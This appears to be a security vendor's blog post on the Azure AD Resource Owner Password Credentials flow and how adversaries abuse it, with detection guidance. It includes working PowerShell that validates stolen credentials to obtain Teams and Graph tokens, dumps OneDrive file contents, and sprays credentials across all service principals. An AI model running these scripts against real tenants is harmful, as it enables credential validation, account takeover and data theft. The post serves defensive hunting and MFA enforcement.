Skip Navigation
Get a Demo
 
 
 
 
 
 
 
 
 
Resources Blog Microsoft

When MFA isn’t an option: The legacy of ROPC

Learn about a common authentication method for legacy applications and how you can reduce your application security risk.

Matt Graeber

The Resource Owner Password Credentials (ROPC) grant flow is a portion of the OAuth 2.0 protocol that allows an identity provider (here defined as Azure Active Directory) to grant an access token to an application using only a username and password. From a security perspective, this scenario is not recommended because plaintext password credentials should not be shared and because it doesn’t support multi-factor authentication (MFA). ROPC exists for cases where legacy applications need to be supported on top of a modern identity provider “where the resource owner has a[n explicit] trust relationship with the client.”

Why would adversaries care about ROPC?

Adversaries would desire to target the ROPC flow for the following reasons:

  • It’s an avenue for targeting and gaining access to Azure AD accounts that do not enforce MFA.
  • It’s a very simple method for testing whether or not credentials are valid (i.e., it facilitates password spraying).
  • Adversaries know that there’s still not full adoption of MFA and that there are Microsoft applications that still support ROPC.
  • Installed, non-first-party Azure AD applications that support ROPC may not handle the credentials in a safe manner, potentially opening themselves up to compromise beyond a single user. ROPC applications require a high degree of trust that they handle and discard credentials in the safest manner possible.

What does an ROPC grant look like?

Let’s say an adversary wanted to validate compromised Azure AD credentials and access that user’s data. One application they might target to validate the credentials and gain access is Microsoft Teams (Application ID: 1fec8e78-bce4-4aaf-ab1b-5451cc387264), which supports the ROPC flow. With only a single web request, they can validate the credentials and obtain an access token with which they could gain access to the victim resources.

Here’s what the adversary would need to conduct the attack:

  • The victim’s Azure AD user principal name (i.e., their email address)
  • The victim’s plaintext password
  • Optionally, in some cases, the tenant ID of the target Azure AD tenant
    • If the email address domain is known, the tenant ID is effectively public knowledge. For example, this URI will resolve the microsoft.com domain to their tenant ID of 72f988bf-86f1-41af-91ab-2d7cd011db47: https://login.microsoftonline.com/microsoft.com/.well-known/openid-configuration.
    • The tenant ID is optional in many cases, however, as an adversary can use common, organizations, or consumers as endpoint names depending upon the configuration of the app. For example: https://login.microsoftonline.com/organizations/oauth2/v2.0/token
  • The application ID of the ROPC-supporting app being targeted. In this example, we’re going to target Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264)

With all the adversary’s requirements met, gaining access is as simple as the following few lines of PowerShell:

$Creds = Get-Credential -Credential 'UnfortunateVictim@thisiswhywecanthavenicethings.onmicrosoft.com' # Change me
$TenantId = '0bf86e45-27ea-4ead-aa72-5403e6e04f41'  # Change me
$TeamsAppId = '1fec8e78-bce4-4aaf-ab1b-5451cc387264'


$Form = @{
    grant_type = 'password'
    client_id = $TeamsAppId
    username = $Creds.UserName
    password = $Creds.GetNetworkCredential().Password
    scope = 'openid offline_access https://graph.microsoft.com/.default'
}


$Arguments = @{
    Uri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
    Method = 'Post'
    ContentType = 'application/x-www-form-urlencoded'
    Body = $Form
}


$Result = Invoke-RestMethod @Arguments

Upon inspecting the $Result variable, you’ll see output similar to the following (assuming the credentials were valid and that the account does not have MFA enforced):

> $Result


token_type : Bearer
scope : email openid profile https://graph.microsoft.com/AppCatalog.Read.All https://graph.microsoft.com/Channel.ReadBasic.All https://graph.microsoft.com/Contacts.ReadWrite.Shared https://graph.microsoft.com/Files.ReadWrite.All https://graph.microsoft.com/InformationProtectionPolicy.Read https://graph.microsoft.com/MailboxSettings.ReadWrite https://graph.microsoft.com/Notes.ReadWrite.All https://graph.microsoft.com/People.Read https://graph.microsoft.com/Place.Read.All https://graph.microsoft.com/Sites.ReadWrite.All https://graph.microsoft.com/Tasks.ReadWrite https://graph.microsoft.com/Team.ReadBasic.All https://graph.microsoft.com/TeamsAppInstallation.ReadForTeam https://graph.microsoft.com/TeamsTab.Create https://graph.microsoft.com/User.ReadBasic.All https://graph.microsoft.com/.default
expires_in : 8493
ext_expires_in : 8493
access_token : eyJ0e[REDACTED]JZtA
refresh_token : 0.AVIAX[REDACTED]ZCuE
foci : 1
id_token : eyJ0e[REDACTED]UnPTA

With the access token available, based on the scopes permitted, an adversary has a host of tradecraft options available. The following example will demonstrate using the Microsoft.Graph module to perform operations with the acquired access token:

Select-MgProfile -Name beta
Connect-MgGraph -AccessToken $Result.access_token


# Let's say we're interested in operations involving the granted Files.ReadWrite.All scope.
# What operations are available if I have that scope?
# This site is a wonderful resource as well: https://graphpermissions.merill.net/permission/Files.ReadWrite.All
$GraphCommands = Find-MgGraphCommand -Command * -ApiVersion beta
$GraphCommands | Where-Object { $_.Permissions.Name -contains 'Files.ReadWrite.All' } | Select-Object -ExpandProperty Command | Sort
<# Example output:
Copy-MgDriveItem
Get-MgDrive
Get-MgDriveActivity
Get-MgDriveItem
Get-MgUserDrive
Grant-MgSharePermission
Invoke-MgCheckinDriveItem
New-MgDriveItemChild
New-MgDriveItemLink
Remove-MgDriveItem
Remove-MgDriveItemPermission
Search-MgDriveRoot
Set-MgDriveItemContent
etc.
#>


# Now I can perform drive recon and dump file contents among other things...
$RootDrive = Get-MgDrive
$RootDriveItem = Get-MgDriveItem -DriveId $RootDrive.Id -DriveItemId 'root:'
$RootDriveChildren = Get-MgDriveItemChild -DriveId $RootDrive.Id -DriveItemId $RootDriveItem.Id
Get-MgDriveItemContent -DriveId $RootDrive.Id -DriveItemId $RootDriveChildren.Id -OutFile dumpedfile.txt

The scopes granted upon successful authentication and authorization will be dependent upon the scopes that were previously assigned/consented to for the target user and their corresponding role. The ROPC flow does not support requesting user or admin consent. The Auth Code grant flow is necessary to request consent. Once credentials are verified with ROPC, assuming the tenant permits user consent, there’s nothing preventing an adversary from targeting any application of their choosing with the scopes of their choosing (restricted by the victim accounts role/group assignments).

Astute readers familiar with Azure AD attacks may have also noticed the “foci” field in the token information above. This indicates that the issued Microsoft Teams refresh token can be used to obtain an access token for other applications, effectively widening the scopes available to an adversary without even requesting consent.

How do I determine which existing applications support ROPC?

The only way to validate if an application that you don’t own supports ROPC is to supply it with valid credentials for an account that doesn’t have MFA enabled. The following PowerShell code iterates through all default service principal instances (i.e., first-party, default Microsoft applications) and returns applications that successfully authenticate using the ROPC flow.

# Your tenant ID
$TenantID = '0bf86e45-27ea-4ead-aa72-5403e6e04f41' # Change me
# Obtain an MS graph token
Connect-MgGraph -Scopes 'Application.Read.All' -TenantId $TenantID
# Supply the username and password you want to test
$Credentials = Get-Credential
$ROPCSupportedApps = Get-MgServicePrincipal -All | ForEach-Object {
    $Form = @{
        grant_type = 'password'
        client_id = $_.AppId
        username = $Credentials.UserName
        password = $Credentials.GetNetworkCredential().Password
        scope = 'openid offline_access https://graph.microsoft.com/.default'
    }
    $Arguments = @{
        Uri = "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token"
        Method = 'Post'
        ContentType = 'application/x-www-form-urlencoded'
        Body = $Form
    }
    $Result = $null
    try {
        $Result = Invoke-RestMethod @Arguments -ErrorAction SilentlyContinue
    } catch {}
    # Return an application if ROPC auth was successful
    if ($Result.access_token) {
        [PSCustomObject] @{
            AppInfo = $_
            AuthResult = $Result
        }
    }
}
# List all the applications that successfully issued a token.
# Anything returned from this object confirms:
#  1. That the supplied username and password are valid
#  2. That the application supports the ROPC grant flow
$ROPCSupportedApps

After running this script in our tenant, we saw the following Microsoft applications that support the ROPC flow:

AppIdDisplayNamePublisherNameSignInAudience
AppId:

14d82eec-204b-4c2f-b7e8-296a70dab67e

DisplayName:

Microsoft Graph PowerShell

PublisherName:

Microsoft

SignInAudience:

AzureADandPersonalMicrosoftAccount

AppId:

e9b154d0-7658-433b-bb25-6b8e0a8a7c59

DisplayName:

Outlook Lite

PublisherName:

Microsoft Services

SignInAudience:

AzureADandPersonalMicrosoftAccount

AppId:

87223343-80b1-4097-be13-2332ffa1d666

DisplayName:

Outlook Web App Widgets

PublisherName:

Microsoft Services

SignInAudience:

AzureADandPersonalMicrosoftAccount

AppId:

f448d7e5-e313-4f90-a3eb-5dbb3277e4b3

DisplayName:

Media Recording for Dynamics 365 Sales

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

AppId:

1fec8e78-bce4-4aaf-ab1b-5451cc387264

DisplayName:

Microsoft Teams

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

AppId:

80331ee5-4436-4815-883e-93bc833a9a15

DisplayName:

Universal Print Connector

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

AppId:

dae89220-69ba-4957-a77a-47b78695e883

DisplayName:

Universal Print Native Client

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

AppId:

61ae9cd9-7bca-458c-affc-861e2f24ba3b

DisplayName:

Windows Update for Business Deployment Service

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

AppId:

6f0478d5-61a3-4897-a2f2-de09a5a90c7f

DisplayName:

WindowsUpdate-Service

PublisherName:

Microsoft Services

SignInAudience:

AzureADMultipleOrgs

What story can logs tell about ROPC?

You may want to audit attempted and successful ROPC authentication in your environment in order to baseline what is expected so that anomalies can be identified.

When manually hunting in the Azure AD portal, Microsoft makes it easy to filter based on ROPC authentications. In the following screenshot, successful sign-ins are shown where single-factor ROPC occurs against the Microsoft Graph resource server (the most common scenario):

ROPC logs in Microsoft Graph
Unfortunately, neither Log Analytics nor Microsoft Defender 365 Advanced Hunting queries expose an Authentication Protocol field, so an inference has to be made. ROPC authentication is inferred based on the following:

  • ClientAppUsed is  Mobile Apps and Desktop clients
  • AuthenticationRequirement is  singleFactorAuthentication
  • IsInteractive is true
  • authentications details indicating that an OAuth token was issued

Log Analytics query

SigninLogs | where ResultType == 0 and ClientAppUsed == @"Mobile Apps and Desktop clients" and AuthenticationRequirement == "singleFactorAuthentication" and ResourceDisplayName == "Microsoft Graph" and IsInteractive == true and AuthenticationProcessingDetails contains_cs "Oauth Scope Info"

Microsoft Defender 365 Advanced Hunting query

AADSignInEventsBeta | where ErrorCode == 0 and ClientAppUsed == @"Mobile Apps and Desktop clients" and EndpointCall == "OAuth2:Token" and LogonType == @"[""interactiveUser""]" and AuthenticationRequirement == "singleFactorAuthentication" and ResourceDisplayName == "Microsoft Graph"

If you want to expand your hunting to failed ROPC logon attempts, you may encounter any of the following error codes related to ROPC reconnaissance:

  • 50105: Your administrator has configured the application {appName} ({appId}) to block users unless they are specifically granted (assigned) access to the application. The signed in user {user} is blocked because they are not a direct member of a group with access, nor had access directly assigned by an administrator. Please contact your administrator to assign access to this application.
  • 65002: Consent between first party application {applicationId} and first-party resource {resourceId} must be configured via preauthorization—applications owned and operated by Microsoft must get approval from the API owner before requesting tokens for that API.
  • 700019: Application ID {identifier} cannot be used or is not authorized.
  • 7000218: The request body must contain the following parameter: client_assertion or client_secret.

Sign-in event investigation

Here is an example sign-in event with extraneous details removed for brevity:

"TenantId": "b7c20a2b-6cb4-4d06-88a2-6e4d2dddcca7",
    "SourceSystem": "Azure AD",
    "TimeGenerated [UTC]": "5/3/2023, 5:32:36.965 PM",
    "ResourceId": "/tenants/d81cff64-0c3b-424e-8d06-561490d3c867/providers/Microsoft.aadiam",
    "OperationName": "Sign-in activity",
    "OperationVersion": "1.0",
    "Category": "SignInLogs",
    "ResultType": "0",
    "CorrelationId": "43a1e1fd-b44b-44be-a3e3-60fe0031a630",
    "Resource": "Microsoft.aadiam",
    "ResourceGroup": "Microsoft.aadiam",
    "Identity": "Poor Victim",
    "Level": "4",
    "Location": "US",
    "AlternateSignInName": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
    "AppDisplayName": "Microsoft Teams",
    "AppId": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
    "AuthenticationDetails": "[{\"authenticationStepDateTime\":\"2023-05-03T17:32:36.9659099+00:00\",\"authenticationMethod\":\"Password\",\"authenticationMethodDetail\":\"Password in the cloud\",\"succeeded\":true,\"authenticationStepResultDetail\":\"Correct password\",\"authenticationStepRequirement\":\"Primary authentication\",\"StatusSequence\":0,\"RequestSequence\":1}]",
    "AuthenticationProcessingDetails": "[{\"key\":\"Legacy TLS (TLS 1.0, 1.1, 3DES)\",\"value\":\"False\"},{\"key\":\"Oauth Scope Info\",\"value\":\"[\\\"AppCatalog.Read.All\\\",\\\"Channel.ReadBasic.All\\\",\\\"Contacts.ReadWrite.Shared\\\",\\\"email\\\",\\\"Files.ReadWrite.All\\\",\\\"InformationProtectionPolicy.Read\\\",\\\"MailboxSettings.ReadWrite\\\",\\\"Notes.ReadWrite.All\\\",\\\"openid\\\",\\\"People.Read\\\",\\\"Place.Read.All\\\",\\\"profile\\\",\\\"Sites.ReadWrite.All\\\",\\\"Tasks.ReadWrite\\\",\\\"Team.ReadBasic.All\\\",\\\"TeamsAppInstallation.ReadForTeam\\\",\\\"TeamsTab.Create\\\",\\\"User.ReadBasic.All\\\"]\"},{\"key\":\"Is CAE Token\",\"value\":\"False\"}]",
    "AuthenticationRequirement": "singleFactorAuthentication",
    "AuthenticationRequirementPolicies": "[]",
    "ClientAppUsed": "Mobile Apps and Desktop clients",
    "ConditionalAccessPolicies": "[]",
    "ConditionalAccessStatus": "notApplied",
    "CreatedDateTime [UTC]": "5/3/2023, 5:32:36.965 PM",
    "DeviceDetail": "{\"deviceId\":\"\",\"operatingSystem\":\"Windows 10\"}",
    "IsInteractive": "true",
    "Id": "031fdefe-7652-4349-be8d-bc0db2b5c200",
    "IPAddress": "REDACTED",
    "IsRisky": "",
    "LocationDetails": "{\"city\":\"REDACTED\",\"state\":\"REDACTED\",\"countryOrRegion\":\"US\",\"geoCoordinates\":{\"latitude\":REDACTED,\"longitude\":REDACTED}}",
    "MfaDetail": "",
    "OriginalRequestId": "031fdefe-7652-4349-be8d-bc0db2b5c200",
    "RiskDetail": "none",
    "RiskEventTypes": "[]",
    "RiskEventTypes_V2": "[]",
    "RiskLevelAggregated": "none",
    "RiskLevelDuringSignIn": "none",
    "RiskState": "none",
    "ResourceDisplayName": "Microsoft Graph",
    "ResourceIdentity": "00000003-0000-0000-c000-000000000000",
    "ResourceServicePrincipalId": "15763fce-1a0c-461d-9279-27474b0622df",
    "ServicePrincipalId": "",
    "ServicePrincipalName": "",
    "Status": "{\"errorCode\":0}",
    "TokenIssuerName": "",
    "TokenIssuerType": "AzureAD",
    "UserAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.963",
    "UserDisplayName": "Poor Victim",
    "UserId": "b4ee295b-80cb-4bc1-a69e-b356dd5064ba",
    "UserPrincipalName": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
    "AADTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
    "UserType": "Member",
    "FlaggedForReview": "",
    "IPAddressFromResourceProvider": "",
    "SignInIdentifier": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
    "SignInIdentifierType": "",
    "ResourceTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
    "HomeTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
    "UniqueTokenIdentifier": "_t4fB1J8SUO-jbcFprXCAA",
    "AppliedConditionalAccessPolicies": "",
    "RiskLevel": ""

When baselining normal ROPC authentication activity, here are some questions to consider:

  • How often is ROPC authentication used against the application, Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264) in this case?
  • How often is Microsoft Teams even used within the tenant, regardless of the authentication type?
  • Does the IP address have an established reputation?
  • Did the request occur from an expected geographical location?
  • What is normal sign-in behavior for the logged user? Does that user perform ROPC authentication normally?
  • Is the user agent common/expected in the tenant?

Does my application support ROPC?

It’s easy to quickly identify apps that you own in your tenant that support the ROPC flow. The following PowerShell code will list all applications within your tenant that support ROPC:

 

# Obtain an MS graph token
Connect-MgGraph -Scopes 'Application.Read.All'
# List all applications that support ROPC - i.e. have "Allow public client flows" enabled.
Get-MgApplication -All | Where-Object { $_.IsFallbackPublicClient }

Conclusion

The most important takeaway from this post should be a call to action to enforce MFA within your tenant to the greatest extent possible. ROPC is not itself a security issue, but it enables an adversary to perform password spraying against accounts that do not have MFA enabled. In other words:

ROPC should not be the target of your concern. Worry about accounts that don’t have MFA enabled!

If you would like to get a sense of which accounts do not have MFA enabled, run the following PowerShell one-liner from the MSOnline module:

Get-MsolUser -All | Where-Object { -not $_.StrongAuthenticationRequirements }

References

 

Teaming with Microsoft Copilot for Security

 

Red Canary brings MDR expertise to Microsoft Azure Cloud

 

How Red Canary supports Microsoft customers

 

Investigating legacy authentication: The curious case of “BAV2ROPC”

Subscribe to our blog

 
 
Back to Top